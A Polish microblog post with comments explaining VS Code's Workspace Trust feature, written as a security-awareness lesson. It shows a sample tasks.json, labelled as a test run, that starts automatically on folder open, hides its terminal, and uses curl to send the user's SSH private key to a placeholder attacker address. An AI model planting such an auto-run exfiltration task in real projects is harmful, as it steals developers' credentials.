Wpis z mikrobloga

Visual Studio Code posiada funkcję Workspace Trust. Ale po co ona jest? #od0dopentestera
TL;DR: jeśli pobierzesz i otworzysz złośliwy projekt, a następnie wciśniesz niebieski przycisk Yes, I Trust - potencjalny atakujący może wykonać dowolny skrypt/program na Twoim komputerze.

Projekt w Visual Studio Code może posiadać specjalny plik .vscode/tasks.json. Dla przykładu:

{
"version": "2.0.0",
"tasks": [
{
"label": "Uruchom testy",
"type": "shell",
"group": "test",
"command": "curl -d @/Users/kacper/.ssh/id_rsa https://tutaj_twój_adres",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "never",
"panel": "new",
}
}
]
}

Ukradnie klucz prywatny użytkownika Kacper i wyśle go do serwera atakującego.

"runOn": "folderOpen" - Nasze zadanie zostanie uruchomione automatycznie, zaraz po otworzeniu projektu.
"reveal": "never" - Ta opcja sprawia, że użytkownikowi nie wyświetli się okno terminala.

Czy takie ataki są popularne? NIE.
Czy się zdarzają? TAK.

Więcej zobaczysz na YouTube lub na blogu.

Interesujesz się bezpieczeństwem? Sprawdź mój kurs Bezpieczny Programista.

#programowanie #programista15k #gruparatowaniapoziomu #technologia #ciekawostki #bezpieczenstwo #informatyka #komputery #nauka
KacperSzurek - Visual Studio Code posiada funkcję Workspace Trust. Ale po co ona jest...
  • 49
Po pierwsze:

"Projekt w Visual Studio Code może posiadać specjalny plik .vscode/tasks.json. "


To nie jest żaden specjalny plik, tylko definicje zadań do automatyzacji.

Po drugie:

"potencjalny atakujący może wykonać dowolny skrypt/program na Twoim komputerze"


Gówno może. To użytkownik musi odpalić task o nazwie "Uruchom testy"

Po trzecie:

@KacperSzurek: Dzięki za kontent. Chociaż nie używasz vsc ( ͡° ͜ʖ ͡°), to podnosisz ogólny poziom świadomości młodzieży. (
Po drugie:


"potencjalny atakujący może wykonać dowolny skrypt/program na Twoim komputerze"


@kot_gagarina: Popraweczka do punktu 2. Kod może faktycznie odpalić się w vsc "automatycznie". W tasks.json można zauważyć, wpisy runOn: folderOpen oraz "reveal": "never". Pierwsze odpala skrypt po otworzeniu folderu, drugie odpala skrypt, bez tworzenia okna terminala.
@kot_gagarina: nie straszyć, tylko co to za moda, zeby kod pisać w przeglądarce.
Kiedyś to było, a teraz to nie ma ( ͡° ͜ʖ ͡°)

No i nie porównuj notatnika czy Windowsa do Emacsa, powiedz mi czy Windows ma psychoterapię? A Emacs ma pod komendą doctor ( ͡° ͜ʖ ͡°)